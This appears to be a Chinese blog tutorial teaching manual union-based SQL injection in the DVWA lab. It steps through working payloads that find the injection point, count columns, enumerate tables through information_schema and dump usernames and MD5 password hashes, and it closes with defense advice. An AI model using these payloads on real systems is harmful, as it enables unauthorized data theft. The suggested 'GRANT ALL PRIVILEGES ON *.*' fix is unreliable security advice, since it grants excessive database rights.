SQL 注入基础:手工注入流程(判断注入点→爆库→爆表→爆数据)

2025博客之星年度评选已开启 10w+人浏览 1k人参与

目录

合规免责声明

手工注入核心流程

一、为什么要学手工 SQL 注入?

二、前置准备:靶场环境配置

2.1 环境要求

2.2 核心原理铺垫

三、手工注入全流程实战(6 大步骤)

步骤 1:判断注入点 —— 确认漏洞是否存在

(1)单引号闭合测试

(2)逻辑判断测试(进一步验证)

步骤 2:确定字段数 —— 猜解查询结果的列数

操作步骤

步骤 3:爆库名 —— 获取当前数据库名称

操作步骤

步骤 4:爆表名 —— 获取当前数据库中的表

操作步骤

步骤 5:爆字段名 —— 获取 users 表中的字段

操作步骤

步骤 6:爆敏感数据 —— 提取 users 表中的账号密码

操作步骤

四、新手高频问题排查(10 + 常见问题)

问题 1:输入 1' 后无报错,页面正常显示?

问题 2:order by 判断字段数时,所有 N 值都不报错?

问题 3:union select 联合查询无回显?

问题 4:爆库名时显示 Access denied?

问题 5:group_concat 函数失效,只显示一个表名?

问题 6:提交 Payload 后页面提示 “Invalid ID”?

问题 7:MD5 密码解密失败?

问题 8:靶场页面无法加载,显示数据库连接错误?

问题 9:联合查询时,字段顺序错误导致数据显示异常?

问题 10:输入 Payload 后页面跳转空白?

问题 11:爆数据时只显示部分用户?

五、基础防御建议

六、核心总结

七、提示


合规免责声明

本文所讲解的 SQL 注入技术与实操流程,仅限在合法授权的靶场环境(如 DVWA)中学习使用,目标是帮助渗透测试新手理解漏洞原理、提升网络安全防护意识。严禁将相关技术用于未经授权的网络攻击,违者需承担相应的法律责任。网络安全的核心是 “攻防兼备”,学习攻击技术的目的是更好地构建防御体系。

手工注入核心流程

一、为什么要学手工 SQL 注入?

对于渗透测试新手而言,手工注入是理解 SQL 注入原理的必经之路—— 工具(如 SQLMap)虽然能自动化注入,但无法让你明白 “漏洞为什么存在”“Payload 为什么能生效”。

DVWA Low 级别的 SQL 注入模块,是新手入门的最佳场景:无 WAF 防护、无输入过滤、有回显结果,能完整复现 “从判断注入点到提取敏感数据” 的全流程。本文聚焦联合查询注入(有回显),解决新手 “只会复制粘贴 Payload、不懂底层逻辑” 的痛点。

二、前置准备:靶场环境配置

2.1 环境要求

  1. DVWA 靶场搭建:已通过 phpStudy 等工具部署 DVWA(若未部署,参考往期DVWA 靶场搭建:Windows11(phpstudy 搭建)(步骤 + 截图 + 常见问题)-CSDN博客);
  2. 安全级别设置:登录 DVWA 后,点击左侧「DVWA Security」,选择「Low」级别并提交;
  3. 进入注入模块:点击左侧「SQL Injection」,进入注入测试页面(页面显示 “Enter an ID” 输入框)。

2.2 核心原理铺垫

DVWA Low 级别 SQL 注入的漏洞根源:后端代码未对用户输入的 ID 参数做任何过滤,直接拼接 SQL 语句执行。后端核心代码(PHP):

$id = $_REQUEST['id'];
$sql = "SELECT first_name, last_name FROM users WHERE user_id = "$id";

当用户输入1时,执行的 SQL 语句为:

SELECT first_name, last_name FROM users WHERE user_id = "1";

当用户输入1'时,SQL 语句变为:

SELECT first_name, last_name FROM users WHERE user_id = "1'";

单引号闭合导致 SQL 语法错误,页面会返回报错信息 —— 这就是判断注入点的核心依据

三、手工注入全流程实战(6 大步骤)

步骤 1:判断注入点 —— 确认漏洞是否存在

核心逻辑:通过单引号闭合测试和逻辑判断测试,验证用户输入是否被拼接到 SQL 语句中执行。

(1)单引号闭合测试
  • 操作:在 ID 输入框中输入 1',点击「Submit」;
  • Payload 逻辑:单引号会闭合 SQL 语句中原本的引号,导致语法错误;
  • 预期结果:页面返回 SQL 报错信息(如You have an error in your SQL syntax...);
  • 结果分析:报错说明用户输入的单引号被带入 SQL 执行,存在 SQL 注入漏洞。
(2)逻辑判断测试(进一步验证)
  • 操作 1:输入 1' or 1=1 #,点击 Submit;
    • Payload 逻辑1=1为真,#注释掉后面的 SQL 语句,执行后页面正常显示数据;
  • 结论:将所有账户都查询出来了,确认存在 SQL 注入漏洞

步骤 2:确定字段数 —— 猜解查询结果的列数

核心逻辑:使用order by语句排序,通过报错与否判断字段数(order by N表示按第 N 列排序,N 超过实际字段数则报错)。

操作步骤
  1. 输入 1' order by 1 # → 页面正常显示;
  2. 输入 1' order by 2 # → 页面正常显示;
  3. 输入 1' order by 3 # → 页面报错;
  • Payload 逻辑order by 按列排序,当 N=3 时报错,说明查询结果只有2 个字段
  • 核心结论:当前 SQL 语句查询的字段数为 2,后续联合查询需匹配字段数才能显示结果。

步骤 3:爆库名 —— 获取当前数据库名称

核心逻辑:使用union select联合查询,拼接database()函数获取当前数据库名;联合查询要求前后查询的字段数一致

操作步骤
  1. 输入 1' union select 1,database() #,点击 Submit;
  2. Payload 拆解
    • union select:联合查询,将两个查询结果合并;
    • 1:填充第一个字段(与前面查询的字段数匹配);
    • database():MySQL 内置函数,返回当前数据库名称;
    • #:注释掉后面的无用语句;
  • 结果:页面除了显示原有数据,还会新增一行,显示当前数据库名 dvwa

步骤 4:爆表名 —— 获取当前数据库中的表

核心逻辑:查询 MySQL 内置库information_schema中的tables表,该表存储了所有数据库的表信息;通过table_schema指定数据库名,table_name获取表名。

操作步骤
  1. 输入 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #,点击 Submit;
    1. 若是遇到这个提示:
      SELECT command denied to user 'dvwa'@'localhost' for table 'tables'

      这是权限不够的问题,解决方法,复制下面代码到数据库执行就可以,我是用phpmyadmin去执行的:

      # 赋予dvwa用户本地访问的所有权限
      GRANT ALL PRIVILEGES ON *.* TO 'dvwa'@'localhost' IDENTIFIED BY 'dvwa';

    2. 若是遇到这个,原因:联合查询中前后两个查询结果集的字段字符集 / 排序规则不一致(比如 DVWA 靶场表字段用utf8_general_ci,而构造的 Payload 返回值用了gbk/latin1),MySQL 无法合并结果集导致报错。:

      我试了很多方法都不管用,最后直接把mysql版本从五点几换到八点几就可以了。
  2. Payload 拆解
    • group_concat(table_name):将所有表名拼接成一行显示(避免多行数据无法回显);
    • information_schema.tables:存储所有表信息的系统表;
    • table_schema='dvwa':筛选出属于 dvwa 数据库的表;
  • 结果:页面显示 dvwa 数据库中的表名,核心目标表为 users(存储用户账号密码)。

步骤 5:爆字段名 —— 获取 users 表中的字段

核心逻辑:查询information_schema.columns表,该表存储了所有表的字段信息;通过table_name指定表名,column_name获取字段名。

操作步骤
  1. 输入 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #,点击 Submit;
  2. Payload 拆解
    • information_schema.columns:存储所有字段信息的系统表;
    • table_name='users':筛选出 users 表的字段;
  • 结果:页面显示 users 表的字段名,核心敏感字段为 user_id、username、password

步骤 6:爆敏感数据 —— 提取 users 表中的账号密码

核心逻辑:直接查询 users 表中的usernamepassword字段,获取敏感数据。

操作步骤
  1. 输入 1' union select user,password from users #,点击 Submit;
  2. Payload 拆解
    • username,password:直接查询目标字段,字段数与前面一致(2 个);
    • from users:指定查询的表;
  • 结果:页面显示所有用户的账号和密码(密码为 MD5 加密格式,可通过在线工具解密)。

结果分析:例如显示admin:5f4dcc3b5aa765d61d8327deb882cf99,MD5 解密后密码为password—— 这就是 DVWA 的默认管理员密码。

四、新手高频问题排查(10 + 常见问题)

问题 1:输入 1' 后无报错,页面正常显示?

  • 原因:靶场安全级别未设置为 Low(Medium 级别有过滤);
  • 解决方案:重新进入「DVWA Security」,确认选择 Low 级别并提交。

问题 2:order by 判断字段数时,所有 N 值都不报错?

  • 原因:#注释符未生效(部分环境需用--+代替);
  • 解决方案:将 Payload 改为1' order by 3 --+

问题 3:union select 联合查询无回显?

  • 原因 1:字段数不匹配(前面查询 2 个字段,联合查询只写了 1 个);
  • 原因 2:前面的查询结果不为空,覆盖了联合查询结果;
  • 解决方案:将 Payload 中的1改为-1(让前面的查询无结果),例如-1' union select 1,database() #

问题 4:爆库名时显示 Access denied?

  • 原因:MySQL 用户权限不足,无法访问 information_schema 表;
  • 解决方案:检查 DVWA 的数据库配置(config.inc.php),确保使用 root 账号连接 MySQL。

问题 5:group_concat 函数失效,只显示一个表名?

  • 原因:MySQL 版本过低,不支持 group_concat 函数;
  • 解决方案:改用limit分页查询,例如1' union select 1,table_name from information_schema.tables where table_schema='dvwa' limit 0,1 #(limit 0,1 表示第 1 条数据)。

问题 6:提交 Payload 后页面提示 “Invalid ID”?

  • 原因:输入的 Payload 格式错误(如多写 / 漏写单引号);
  • 解决方案:检查 Payload 的引号闭合是否正确,例如1' union select 1,2 #(末尾的 #必须加)。

问题 7:MD5 密码解密失败?

  • 原因:密码是强哈希值,在线工具无对应彩虹表;
  • 解决方案:使用专业 MD5 解密平台(如 CMD5),或尝试常见弱密码哈希值。

问题 8:靶场页面无法加载,显示数据库连接错误?

  • 原因:phpStudy 中的 MySQL 服务未启动;
  • 解决方案:打开 phpStudy,启动 MySQL 服务。

问题 9:联合查询时,字段顺序错误导致数据显示异常?

  • 原因:前面的查询字段是first_name,last_name,联合查询字段顺序不匹配;
  • 解决方案:调整联合查询的字段顺序,例如union select username,password(两个字段对应)。

问题 10:输入 Payload 后页面跳转空白?

  • 原因:浏览器缓存导致,或 Payload 长度超过限制;
  • 解决方案:按 Ctrl+F5 强制刷新页面,简化 Payload 重新测试。

问题 11:爆数据时只显示部分用户?

  • 原因:未使用 group_concat 函数,页面只显示第一条数据;
  • 解决方案:在 Payload 中加入group_concat(username,':',password),拼接所有数据。

五、基础防御建议

理解攻击流程后,防御 SQL 注入的核心思路是阻断用户输入与 SQL 语句的拼接,以下是 3 个基础防御方法:

  1. 输入过滤:对用户输入的参数进行过滤,转义单引号、双引号等特殊字符;
  2. 参数化查询(预编译语句):这是最有效的防御手段,将用户输入作为参数传递,而非直接拼接 SQL 语句;示例(PHP PDO):
    $stmt = $pdo->prepare("SELECT first_name, last_name FROM users WHERE user_id = :id");
    $stmt->execute([':id' => $id]);
    
  3. 最小权限原则:数据库用户仅授予必要的权限,避免使用 root 账号连接 Web 应用。

六、核心总结

本文以 DVWA Low 级别为靶场,完整讲解了联合查询注入的 6 大核心步骤:判断注入点→确定字段数→爆库名→爆表名→爆字段名→爆敏感数据。每个步骤都围绕 “原理 + Payload + 实操 + 分析” 展开,帮助新手摆脱 “抄 Payload 不懂原理” 的困境。

需要注意的是,本文仅覆盖基础有回显注入,实际渗透测试中还会遇到盲注、堆叠注入、WAF 绕过等复杂场景 —— 这些进阶内容将在后续付费专栏中详细讲解。

福利领取:关注专栏,回复「SQL 注入」即可领取《手工注入 Payload 速查表》+《注入流程思维导图 PDF》,助力新手快速掌握核心技巧!

七、提示

本文的基础注入流程仅适用于无防护的靶场环境,而真实企业环境中,SQL 注入的检测与绕过难度会大幅提升。后续专栏将深入讲解:

  • 盲注(布尔盲注 / 时间盲注)的核心逻辑与实操;
  • 堆叠注入的原理与 Payload 构造;
  • 常见 WAF 的绕过技巧(如关键字拆分、编码转换);
  • DVWA Medium/High 级别注入测试;关注专栏,解锁更多实战干货,从 “入门” 到 “实战”,稳步提升渗透测试技能!
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

无名修道院

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值